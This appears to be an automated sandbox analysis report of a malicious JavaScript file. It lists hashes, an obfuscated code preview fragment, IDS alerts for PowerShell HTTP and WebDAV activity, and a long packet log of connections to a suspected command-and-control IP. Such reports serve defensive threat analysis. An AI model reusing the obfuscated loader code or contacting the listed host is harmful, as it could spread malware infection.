File name:	145332287313130856.js
File size:	21'679 bytes
MD5:	0e10a7551a4b906a65192c509663d7e6
SHA1:	4878c5aca0a76636de0a384ee300326b5251ed48
SHA256:	feb7f856efb851a5ca4fa254af0cfa28803ee68e814d9ea4b07cd1b906739610
SHA512:	0c8fac43d5b1630b637b14b367500fa05b15eaa7d24f92fe8a9133318bc313a2a3eee8187d6277806f6341cb5643e8b03496f1ffd21ea4a64bab6e7994a332ed
SSDEEP:	384:rjsL7koHQVXkU+D8gBqt32VYirzg19EfRL7ugb9KYLPg2CT9cfR4CfgdVhveqxpZ:rjQk8kUUzyXrzg19EfRL7ugb9KYLPg2K
TLSH:	82A233C2AC58D4174AE18B9806A345D12628024947645158FED638DAFE0F739EFFFEF2
File Content Preview:	function rslgi(){iikgw=[1031,3079,5127,4103,2055,3072];var heoij=this[ppltpar+sxyqnnxp+jafir+cvezler+nbrxjdqg+cnjnngcqx+daherwhid+ctqgfoln](this[qnqsrc+vkvzyqv+otrjnh+jafir+zynvdogqb+ppltpar+ctqgfoln][lcsdtoqs+jafir+nbrxjdqg+sxyqnnxp+ctqgfoln+nbrxjdqg+fdl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:25:04.800989+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T14:25:07.596358+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:25:04.018765926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.024003983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.024085999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.028372049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.033447981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.800910950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.800941944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.800959110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.800976992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.800988913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.800992966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.801009893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.801018953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.801027060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.801043987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.801049948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.801063061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.801081896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.801104069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.801146030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.805979013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.846502066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.846818924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.846868992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.846906900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.846935034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.893340111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.917890072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.917989969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918021917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918075085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918081045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.918109894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918144941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918150902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.918188095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.918567896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918598890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918643951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.918836117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918869972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918906927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918941021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.918951035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.919351101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.919435024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.919483900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.919518948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.919539928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.919553995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.919589996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.919639111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.920375109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.920408964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.920444012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.920459986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.920478106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.920480967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.935249090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.935389042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.963987112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.964036942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.964071989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.964108944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:04.964118958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:04.964174986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.006510973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.006541967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.006681919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.034897089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.034946918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.034981012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035012007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035032034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.035046101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035062075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.035196066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035229921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035259008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.035264969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035301924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.035501003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035533905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035564899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035593033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.035860062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035911083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035944939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.035957098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.035978079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036012888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036020041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.036046028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036056042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.036081076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036130905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.036751986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036784887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036837101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.036837101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036870956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036906004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036920071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.036937952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.036972046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037013054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.037693024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037750006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037782907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037801981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.037816048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037832022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.037849903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037882090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037918091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.037928104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.038641930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.038675070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.038692951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.038711071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.038717985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.038743973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.038779974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.038798094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.052581072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.052624941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.052664995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.052705050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.052752972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.052752972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.052762032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.055365086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.081137896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081213951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081252098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081286907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081286907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.081322908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081336021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.081357002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081394911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081423998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.081449986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.081474066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.124864101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.124922991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.124960899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.124998093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.125051975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.125097990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.151985884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152017117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152131081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.152149916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152184963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152220964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152247906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.152256966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152293921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152339935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.152507067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152542114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152594090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.152650118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.152688026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.152853012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153019905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153049946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153073072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153084993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153119087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153160095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153162956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153213024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153248072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153275967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153281927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153287888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153315067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153348923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153361082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153383970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153727055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153759956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153774977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153795004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153803110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153908014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153940916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.153968096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.153975010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154009104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154019117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.154050112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154082060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154095888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.154117107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154149055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154165030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.154186010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154218912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154257059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154267073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.154731035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154781103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.154922962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154956102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.154972076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.154989958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155023098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155045986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155056953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155091047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155124903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155136108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155359030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155622005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155656099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155689001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155719995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155724049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155775070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155776024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155808926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155843019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155875921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155891895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155910015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155910969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.155946016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155982018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.155992031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.156290054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156322956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156349897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.156358004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156481028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156513929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156528950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.156548977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156564951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.156589985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156632900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.156656981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156689882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156722069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.156744003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.156758070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.157354116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.157409906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.159074068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.159089088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.169529915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169579029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169614077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169646978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169646978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.169665098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.169699907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169734001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169743061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.169768095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169800043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169833899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169846058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.169867992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.169910908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.170506954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.170521975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.211888075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.211921930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.211956024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212023973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212049961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.212049961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.212184906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212218046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212233067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.212254047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212285995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212318897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212330103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.212352991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212385893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.212404013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.212425947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.240595102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240700006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240753889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240788937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240813017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.240837097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.240843058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240878105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240911961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240946054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.240958929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.240979910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.241014957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.241030931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.241049051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.241060019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.241085052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.241117954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.241138935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.241153002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.241255045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.269512892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269587040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269623995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269656897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269673109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.269706964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.269711971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269747019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269798040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269826889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:25:05.269831896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269865990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269897938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:25:05.269912004 CET	49704	80	192.168.2.5	193.143.1.205
